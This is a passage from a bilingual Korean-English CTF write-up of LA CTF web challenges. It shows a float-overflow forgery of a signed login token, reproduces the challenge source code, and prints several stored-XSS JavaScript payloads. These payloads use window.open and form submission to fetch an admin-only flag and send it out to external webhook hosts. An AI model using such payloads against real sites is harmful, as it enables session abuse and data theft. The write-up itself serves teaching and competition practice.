So, after changing { to _, I was able to extract the final flag by going through each character on the server.
Looking at other people's interpretations, it seems that it is written as \x39 or something like that... 

Please look for additional details.

 

 lactf{90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}

gg

 

 

jason-web-token

from pathlib import Path

from fastapi import Cookie, FastAPI, Response
from fastapi.responses import HTMLResponse
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel

import auth

app = FastAPI()
app.mount("/static", StaticFiles(directory="static"), name="static")

flag = (Path(__file__).parent / "flag.txt").read_text()
index_html = lambda: (Path(__file__).parent / "index.html").read_text()


class LoginForm(BaseModel):
    username: str
    age: int


@app.post("/login")
def login(login: LoginForm, resp: Response):
    age = login.age
    username = login.username

    if age < 10:
        resp.status_code = 400
        return {"msg": "too young! go enjoy life!"}
    if 18 <= age <= 22:
        resp.status_code = 400
        return {"msg": "too many college hackers, no hacking pls uwu"}

    is_admin = username == auth.admin.username and age == auth.admin.age
    token = auth.create_token(
        username=username,
        age=age,
        role=("admin" if is_admin else "user")
    )

    resp.set_cookie("token", token)
    resp.status_code = 200
    return {"msg": "login successful"}


@app.get("/img")
def img(resp: Response, token: str | None = Cookie(default=None)):
    userinfo, err = auth.decode_token(token)
    if err:
        resp.status_code = 400
        return {"err": err}
    if userinfo["role"] == "admin":
        return {"msg": f"Your flag is {flag}", "img": "/static/bplet.png"}
    return {"msg": "Enjoy this jason for your web token", "img": "/static/aplet.png"}


@app.get("/", response_class=HTMLResponse)
def index():
    return index_html()

간단하게 코드를 분석해보면 로그인창에서 username, age를 통해 토큰을 발급받고, userinfo["role"]이 admin이면 플래그를 

받을 수 있는 것을 볼 수 있다.

 

대충 보면 나이가 10살보다 어리거나 18살 ~ 22살이면 에러를 되돌려준다.

 

Simply analyzing the code, a token is issued through username and age in the login window, and if userinfo["role"] is admin, we can get a flag.

Roughly speaking, if the age is younger than 10 years or between 18 and 22 years old, an error is returned.

 

    if age < 10:
        resp.status_code = 400
        return {"msg": "too young! go enjoy life!"}
    if 18 <= age <= 22:
        resp.status_code = 400
        return {"msg": "too many college hackers, no hacking pls uwu"}

    is_admin = username == auth.admin.username and age == auth.admin.age
    token = auth.create_token(
        username=username,
        age=age,
        role=("admin" if is_admin else "user")
    )

그리고 role이 admin일려면 username == auth.admin.username, age == auth.admin.age를 충족해야하는 것을 알 수 있다.

 

하지만 둘다 환경변수에서 가져오기에 값을 알 수 있는 방법은 없다. 그러면 우리가 자체적으로 토큰을 조작하는 방법 밖엔 없다.

 

우선 토큰 생성과정과 검증 과정을 분석해보자.

 

And for the role to be admin, you can see that username == auth.admin.username, age == auth.admin.age 

must be satisfied.

 

However, since both are taken from environment variables, there is no way to know the values. Then we have no choice but to manipulate the token ourselves.

 

First, let’s analyze the token creation process and verification process.

 

secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()

def create_token(**userinfo):
    userinfo["timestamp"] = int(time.time())
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
    data = json.dumps(userinfo)
    return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")


def decode_token(token):
    if not token:
        return None, "invalid token: please log in"

    datahex, signature = token.split(".")
    data = bytes.fromhex(datahex).decode()
    userinfo = json.loads(data)
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]

    if hash_(f"{data}:{salted_secret}") != signature:
        return None, "invalid token: signature did not match data"
    return userinfo, None

토큰 생성 과정을 보면 

 

int.from_bytes(os.urandom(128), "big")로 정해진 값과, int(time.time())과 xor 연산한 후 age를 더해줌으로써 secret값을 만들고,

 

이 값을 "data:secret"형태로 만든 후 sha256 한 후 내가 보낸 유저 데이터를 json화 한 것과 .을 통해 연결하여 토큰을 생성한다.

 

또한 검증 쪽에서는 .을 기점으로 토큰을 나눈 후, 오른쪽 부분과 (secret & userinfo["timestamp"]) + userinfo["age"]하여 나온 값이

 

일치한다면 토큰 검증을 통과시켜 준다.

 

얼핏보면 그냥 토큰 조작해서 보내고, 해쉬 값은 냅두면 되는 거 아닌가? 라고 생각할 수 있지만,

 

그 해쉬 값이 기존 데이터와 secret을 합친 후 hex한 값이기에 변조를 방지하게 된다.

 

그럼 어떻게 해야하는가? 

 

우리가 집중해서 봐야할 것은 salted_secret이 secret과 timestamp를 xor한 후, age로 설정된 값을 더한다는 점이다.

 

Create a secret value by adding the value determined by int.from_bytes(os.urandom(128), "big"), xor operation with int(time.time()), and then adding age,
After creating this value in the form of "data:secret", sha256 it, and then connecting it with the jsonized user data I sent through . to create a token.

Also, on the verification side, after dividing the token starting from ., the value obtained by dividing the right part and (secret & userinfo["timestamp"]) and userinfo["age"]
If they match, token verification passes.

At first glance, wouldn't it be okay to just manipulate the token and send it, and leave the hash value alone? You may think so, but
Since the hash value is a hex value obtained by combining the existing data and the secret, it prevents tampering.

So what should we do?
What we need to focus on is that salted_secret xor's the secret and timestamp, then adds the value set by age.

 

salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]

 

python을 포함한 대부분의 언어에서는 , 매우 큰 값이 더해지면 그냥 똑같은 값으로 퉁쳐버리는 특징이 있다.

 

정확히는 컴퓨터의 원산 원리에 관련되어 있는데.. 자세한 건 알아서 알아보길 바란다.

 

우리가 알 것은 이거 하나면 된다.

 

In most languages, including Python, there is a characteristic that when very large values ​​are added, they are simply reduced to the same value.

보다시피, 1e1000의 값이 너무 커서 어떤 값을 더하든 비교 연산을 했을 때 True가 반환되는 것을 볼 수 있다.

 

우린 이 트릭을 활용하면 된다.

 

As you can see, the value of 1e1000 is too large, so no matter what value is added, True is returned when the comparison operation is performed.

 

import hashlib
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()
data = '{"username": "zzlol", "age": 1e1000, "role": "admin", "timestamp": 1}'
salted_secret = 1e1000
jwt = data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")
print(jwt)

이런식으로 코드를 짜서 조작된 토큰을 발급받을 수 있다.

 

timestamp 값은 1이어도 상관없다. 어차피 age가 1e1000이라서 어떤 값을 지정해도 비교 연산 시 True가 반환되기 때문이다.

 

코드 실행하고, 토큰 발급받은 후에 https://jwt.chall.lac.tf/img 로 접속하면 플래그를 얻을 수 있다.

 

In this way, you can write code to issue a manipulated token.

The timestamp value may be 1. This is because age is 1e1000 anyway, so True is returned during comparison operations no matter what value is specified.

After running the code and receiving the token, you can get the flag by accessing https://jwt.chall.lac.tf/img.

 

lactf{pr3v3nt3d_th3_d0s_bu7_47_wh3_c0st}

gg

 

ctf-wiki

일단 코드를 보고 뭘 해야할 지 감을 먼저 잡아보자.

First, let's look at the code and get a feel for what to do.

from flask import Flask, render_template, request, session, redirect, url_for

import os
import secrets
from functools import cache
from markdown import markdown
import psycopg2
import urllib.parse

app = Flask(__name__)
app.secret_key = (os.environ.get("SECRET_KEY") or '_5#y2L"F4Q8z\n\xec]/').encode()
app.config["SESSION_COOKIE_SAMESITE"] = "Lax"


@cache
def get_database_connection():
    db_user = os.environ.get("POSTGRES_USER")
    db_password = os.environ.get("POSTGRES_PASSWORD")
    db_host = "db"

    connection = psycopg2.connect(user=db_user, password=db_password, host=db_host)
    return connection


with app.app_context():
    with open("setup.sql", "r") as f:
        setup_sql = f.read()
    conn = get_database_connection()
    with conn.cursor() as curr:
        curr.execute(setup_sql)
    conn.commit()


@app.after_request
def apply_csp(response):
    if session.get("username") is not None and session.get("password") is not None:
        response.headers[
            "Content-Security-Policy"
        ] = "default-src 'self'; img-src *; font-src https://fonts.gstatic.com https://fonts.googleapis.com; style-src 'self' https://fonts.googleapis.com"
    return response


@app.get("/")
@app.get("/index")
@app.get("/home")
def index():
    query = request.args.get("search")

    conn = get_database_connection()
    with conn.cursor() as curr:
        if query is None:
            curr.execute("SELECT * FROM ctfers WHERE searchable LIMIT 10 OFFSET 0")
        else:
            curr.execute(
                "SELECT * FROM ctfers WHERE searchable AND (name ILIKE %s OR team ILIKE %s OR specialty ILIKE %s OR description ILIKE %s) LIMIT 10 OFFSET 0",
                [f"%{query}%", f"%{query}%", f"%{query}%", f"%{query}%"],
            )
        ctfers = curr.fetchall()
    return render_template("index.html", ctfers=ctfers, query=query)


@app.post("/search")
def search():
    search = request.form.get("search")
    return redirect("/?search=" + urllib.parse.quote_plus(search))


@app.get("/login")
def login_page():
    if session.get("username") is not None and session.get("password") is not None:
        return redirect("/")

    error = request.args.get("error")
    return render_template("login.html", error=error)


@app.post("/login")
def login():
    username = request.form.get("username")
    password = request.form.get("password")

    if username is None or password is None:
        return redirect(
            "/login?error="
            + urllib.parse.quote_plus("Need both username and password.")
        )

    session["username"] = username
    session["password"] = password

    return redirect("/")


@app.get("/logout")
def logout():
    session.pop("username", None)
    session.pop("password", None)
    return redirect("/")


@app.get("/view/<pid>")
def page(pid):
    if session.get("username") is not None and session.get("password") is not None:
        return redirect("/edit/{}".format(pid))

    if pid is None:
        return redirect(
            "/404?error=" + urllib.parse.quote_plus("Need to specify a pid.")
        )

    conn = get_database_connection()
    with conn.cursor() as curr:
        curr.execute(
            "SELECT name,image,team,specialty,website,description FROM ctfers WHERE id=%s LIMIT 1",
            [pid],
        )
        ctfer = curr.fetchone()

    if ctfer is None:
        return redirect("/404?error=" + urllib.parse.quote_plus("CTFer not found."))

    (name, image, team, specialty, website, description) = ctfer
    content = markdown(description)
    return render_template(
        "view.html",
        name=name,
        image=image,
        team=team,
        specialty=specialty,
        website=website,
        description=content,
    )


@app.get("/edit/<pid>")
def edit_page(pid):
    if session.get("username") is None or session.get("password") is None:
        return redirect("/view/{}".format(pid))

    conn = get_database_connection()
    with conn.cursor() as curr:
        curr.execute(
            "SELECT id,name,image,team,specialty,website,description,searchable FROM ctfers WHERE id=%s LIMIT 1",
            [pid],
        )
        ctfer = curr.fetchone()

    if ctfer is None:
        return redirect("/create?error=" + urllib.parse.quote_plus("CTFer not found."))

    (id, name, image, team, specialty, website, description, searchable) = ctfer
    return render_template(
        "edit.html",
        id=id,
        name=name,
        image=image,
        team=team,
        specialty=specialty,
        website=website,
        description=description,
        searchable=searchable,
        pid=pid,
    )


@app.post("/edit/<pid>")
def edit_api(pid):
    if session.get("username") is None or session.get("password") is None:
        return redirect("/view/{}".format(pid))

    title = request.form.get("name")
    image = request.form.get("image")
    team = request.form.get("team")
    specialty = request.form.get("specialty")
    website = request.form.get("website")
    description = request.form.get("description")
    searchable = request.form.get("searchable") == "on"

    if (
        title is None
        or image is None
        or team is None
        or specialty is None
        or website is None
        or description is None
    ):
        return redirect(
            "/edit/{}?error=".format(pid) + urllib.parse.quote_plus("Need all fields.")
        )

    conn = get_database_connection()
    with conn.cursor() as curr:
        curr.execute(
            "UPDATE ctfers SET name=%s, image=%s, team=%s, specialty=%s, website=%s, description=%s, searchable=%s WHERE id=%s",
            [title, image, team, specialty, website, description, searchable, pid],
        )
    return redirect("/view/{}".format(pid))


@app.get("/create")
def new_page():
    error = request.args.get("error")
    return render_template("create.html", error=error)


@app.post("/create")
def create_page():
    title = request.form.get("name")
    image = request.form.get("image")
    team = request.form.get("team")
    specialty = request.form.get("specialty")
    website = request.form.get("website")
    description = request.form.get("description")
    searchable = request.form.get("searchable") == "on"

    if (
        title is None
        or image is None
        or team is None
        or specialty is None
        or website is None
        or description is None
    ):
        return redirect("/create?error=" + urllib.parse.quote_plus("Need all fields."))

    conn = get_database_connection()
    with conn.cursor() as curr:
        id = secrets.token_hex(16)
        curr.execute("SELECT id FROM ctfers WHERE id = %s", [id])

        while curr.fetchone() is not None:
            id = secrets.token_hex(16)
            curr.execute("SELECT id FROM ctfers WHERE id = %s", [id])

        curr.execute(
            "INSERT INTO ctfers (id, name, image, team, specialty, website, description, searchable) VALUES (%s, %s, %s, %s, %s, %s, %s, %s) RETURNING id",
            [id, title, image, team, specialty, website, description, searchable],
        )
        id = curr.fetchone()[0]

    return redirect("/view/{}".format(id))


@app.delete("/delete/<pid>")
def delete_page(pid):
    if session.get("username") is None or session.get("password") is None:
        return redirect("/login?error=" + urllib.parse.quote_plus("Not logged in."))

    conn = get_database_connection()
    with conn.cursor() as curr:
        curr.execute("DELETE FROM ctfers WHERE id = %s", [pid])
    return redirect("/")


@app.post("/flag")
def flag():
    adminpw = os.environ.get("ADMINPW") or "admin"
    if session.get("password") != adminpw:
        return redirect("/login?error=" + urllib.parse.quote_plus("Not the admin."))

    flag = os.environ.get("FLAG") or "lactf{test-flag}"
    return flag, 200


@app.errorhandler(404)
def page_not_found(_):
    error = request.args.get("error") or "Page not found"
    return render_template("404.html", error=error), 404

 

app.py

 

음.. 딱보면 일단 adminpw를 알아내야 할 것 같다.

 

하지만 adminpw를 알아낼만한 벡터는 더 보이지 않는다. 

 

그러면 admin에게 report하고, admin이 url에 방문했을 때 아마 session에 password가 있을 것이라고 예측할 수 있다.

 

XSS 벡터를 찾기 위해 이것저것 건드리다보니, /view/pid에서 XSS가 터지는 것을 확인할 수 있었다.

 

하지만 안타깝게도 아래 코드를 보면 알 수 있듯이, "로그인 하지 않은 사용자" 에게만 XSS가 가능한 듯 했다..

Hmm... just looking at it, I think I need to find out adminpw first.

However, I don't see any vectors that can identify adminpw.
Then, it can be reported to the admin, and it can be predicted that there will probably be a password in the session when the admin visits the URL.
After fiddling around to find the XSS vector, I was able to confirm that XSS was occurring in /view/pid.
Unfortunately, as you can see from the code below, XSS seemed to be possible only for “non-logged in users”.

 

    if session.get("username") is not None and session.get("password") is not None:
        return redirect("/edit/{}".format(pid))

 

하지만 더 찾아봐도 XSS 벡터는 해당 부분밖에 없는 듯 했다.. 

 

1. 우선적으로 해야할 것은 "쿠키가 없는 상태"로 XSS가 터지는 페이지를 로드하게 한다.

 

2. XSS가 트리거 될 때는 쿠키를 포함시킨다.

 

우선 1번은 굉장히 쉬웠다.

 

이런식으로 GPT가 알려줬다.

 

 

However, even after searching further, it seemed like that was the only XSS vector.


1. The first thing to do is to load the page where XSS occurs without cookies.


2. Include cookies when XSS is triggered.

First of all, number 1 was very easy.
GPT informed us in this way.

 

이중에서도 가장 쓸만해보인 건 a태그와 iframe 태그였습니다.

 

form 태그와 <img>는 xss페이로드를 트리거하지 못하기 때문입니다.

 

글 적으면서 "이건 진짜 어케하는 거지.."하면서 고민하고,

 

GPT한테 질문을 던져가면서 "쿠키 없이 페이지 연 다음에 쿠키 접근..?" 하면서 의미 없는 생각을 이어가던 도중,

 

windows.open이 떠올랐습니다.

 

검색도 전에 일단 GPT한테 물어봤고, 이걸 이용할 수 있겠다는 생각이 들었습니다.

 

Among these, the ones that seemed the most useful were the a tag and the iframe tag.
This is because form tags and <img> do not trigger xss payloads.

As I was writing, I was thinking, “How can this really be done?”
Asking GPT a question, "Access cookies after opening a page without cookies..?" While I was thinking about meaningless things,

windows.open came to mind.
Before even searching, I asked about GPT and thought I could use it.

 

 

<script>
let flag = window.open('https://ctf-wiki.chall.lac.tf/home');

setTimeout(() => {
    flag.document.write(`
        <script> 
            fetch('/flag', { method: 'POST' })
            .then(response => response.text())
            .then(text => { 
                return fetch('https://rngifpv.request.dreamhack.games', { 
                    method: 'POST', 
                    mode: 'no-cors', 
                    body: text 
                });
            });
        <\/script>
    `);
}, 1000);
</script>

이런식으로 코드를 설계한 후, iframe을 통해 XSS를 트리거하려 했으나,

 

아래 에러를 마주했다.

 

CSP 정책에러인거 같은데.. CSP도 설정되어 있지 않은데 왜 오류가 나는 지는 모르겠지만.

 

일단 우회하기 위해 windows.open으로 열린 창에서는 /flag로 요청만 보내고

 

처음 windows.open을 실행한 곳에서 웹훅 서버로 플래그를 보내기로 했다.

After designing the code this way, I tried to trigger XSS through an iframe, but
I encountered the error below.

I think it's a CSP policy error... CSP is not set, so I don't know why the error occurs.

To bypass it, only send a request to /flag in a window opened with windows.open.

I decided to send a flag to the webhook server where I first ran windows.open.

 

내가 다음으로 짠 코드는 아래와 같았다.

The code I wrote next was as follows.

<script>
let flag = window.open('https://ctf-wiki.chall.lac.tf/home');

setTimeout(() => {
    flag.document.write(`
        <script> 
            fetch('/flag', { method: 'POST' })
        <\/script>
    `);
}, 1000);
fetch("https://nuqzhgg.request.dreamhack.games", { method:'POST',mode:'no-cors',body: flag.document.body });
</script>

 

이 코드는 잘 작동했지만, 응답값이 이따구로 왔다...

일단 /flag로 요청도 제대로 안간 듯 하고, body 객체가 너무 포괄적인 것이 문제인 듯하다.

그리고 CSP 에러도 또 난 것을 보면..

아무래도 <script>가 문제인듯하니.. form태그로 바꿔서 /flag로 요청보내는 식으로 코드를 바꿔보았다.

 

 

This code worked fine, but the response came back oddly...
First of all, it seems that the request to /flag did not go through properly, and the problem seems to be that the body object is too comprehensive.

And seeing that the CSP error occurred again...
Since <script> seemed to be the problem, I changed the code by changing it to a form tag and sending the request to /flag.

결국 다시 코드를 바꿔서 테스트 해봤다.

 

아래가 최종 코드다.

 

이걸 Description에 적고, 저장하고, URL을 복사한뒤 /edit을 /view로 바꿔준다. 

 

그 다음에 그 URL을 iframe으로 가져오는 html코드가 있는 링크를 어드민봇에게 신고하면 , 설정해놓은 웹 훅 링크로 플래그가 온다.

 

나는 Dice CTF에서 이용했던 Github Page 배포 시스템을 이용했다.

 

In the end, I changed the code again and tested it.

Below is the final code.
Write this in Description, save it, copy the URL, and change /edit to /view.
Then, if you report a link with html code that brings the URL to an iframe to the admin bot, a flag will be sent to the set web hook link.
I used the Github Page distribution system used in Dice CTF.

 

<script>
let flag = window.open('https://ctf-wiki.chall.lac.tf/home');
setTimeout(() => {
    flag.document.write(`<form id="myForm" action="/flag" method="POST">`);
}, 1000);

setTimeout(() => {let form = flag.document.getElementById('myForm'); form.submit()}, 2000);
setTimeout(() => fetch('https://ugwidyx.request.dreamhack.games', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ content: flag.document.body.innerHTML })}), 3000);
</script>

 

근데 마지막에 ctf-wiki 어드민 봇이 작동을 안해서.. (오전 12시 15분 경)

 

로컬에서 도커 빌드해서 테스트했다....

 

로 끝나면 좋았겠지만, 문제에서 제공하는 도커파일에는 Admin bot이 구현이 되어있지 않았다. 하하..

 

하지만 여기서 운영자님의 대응덕분에 Admin bot이 다시 작동해서 (오전 12시 48분 경)

 

다행히 익스플로잇을 해볼 수 있었다 ㅠㅠㅠ

 

진심으로 감사합니다 Benson Liu 운영자님..

 

But at the end, the ctf-wiki admin bot did not work... (around 12:15 a.m.)
I tested it by building it locally with Docker....
It would have been nice if it ended with , but the Admin bot was not implemented in the Docker file provided in the problem. haha..

However, thanks to the operator's response, the Admin bot started working again (around 12:48 a.m.)

Fortunately, I was able to exploit it.

Thank you very much, Benson Liu..

 

아니 내가 플래그 얻을려고 15번이 넘는 시도를 했는데, 그 장황한 기록을 남길려고 캡처를 시도한 순간,

 

URL이 바뀌면서 이전 기록이 날아갔다..

 

하지만 다행스럽게도 내 플래그는 남았다..

I tried over 15 times to get the flag, but the moment I tried to capture it to leave a lengthy record,
As the URL changed, previous records were lost.
But fortunately my flag remained.

 

lactf{k4NT_k33P_4lL_my_F4v0r1T3_ctF3RS_S4m3_S1t3}

gg..

 

운영자님 말씀으로는 어드민 봇은 정상 작동하고 있었다고 했는데, 왜 요청이 안왔는 지 모르겠다.. 혹시 몰라서 드림핵 웹훅 링크를 그냥 

줬었는데도, 드림핵 웹훅에도 아무 요청도 안왔었다. 진짜 뭐지…

 

According to the operator, the admin bot was operating normally, but I don't know why no requests were received... 

I just gave the Dreamhack webhook link just in case, but no requests were received for the Dreamhack webhook either. wtf..

 

 

후기 / Review

 

일단 내가 처음에 9솔브 할 거 같다고 했는데, 장담은 못하겠다.

 

8번째 문제부터 갑자기 어려워졌기 때문이다..

 

그리고 보니까 남은 문제들 모두 XSS 계열이던데, 난 클라이언트 사이드 계열의 공격에 약한 편이라.. 아마 못했을 것 같다

 

만약 서버 사이드 공격이 남은 2문제였다면 ..  좀 더 해볼만 했을 것 같지만..

 

나머지 2문제는 12솔브, 5솔브 인데.. 1번문제가 700+솔브인 것을 감안하면.. 

 

진짜 어렵긴 했나보다.

 

최근에 해외 CTF를 좀 해보고 있는데, 확실히 뭔가 재미있는 것 같다.

 

저번 DiceCTF도 말했듯이, 뭔가 창의력이 요구되는 느낌이다 ㅋㅋ

 

다음 해외 CTF도 해보고 시간되면 라이트업까지 작성해보겠습니다.

 

글 읽어주셔서 진심으로 감사합니다!

First of all, I said I would do 9 solves at first, but I can't guarantee that.

This is because it suddenly became difficult starting from the 8th question.
And when I looked at it, all the remaining problems were XSS-type, but I'm weak against client-side attacks, so I probably couldn't do it.

If server-side attacks were the remaining two problems, I think it would have been worth trying a little more.
The remaining two problems are 12 solves and 5 solves... considering that problem number 1 is 700 solves...

It must have been really difficult.
I've been trying some overseas CTFs recently, and it definitely seems like something fun.
As DiceCTF said last time, it feels like some kind of creativity is required.
I will try the next overseas CTF and write a light-up when I have time.

Thank you very much for reading! 😆

 

 

 

 

 

오타 및 오역은 디스코드 one3147 또는 댓글로 알려주시기 바랍니다.

Please let us know of any typos or mistranslations on Discord at one3147 or in the comments.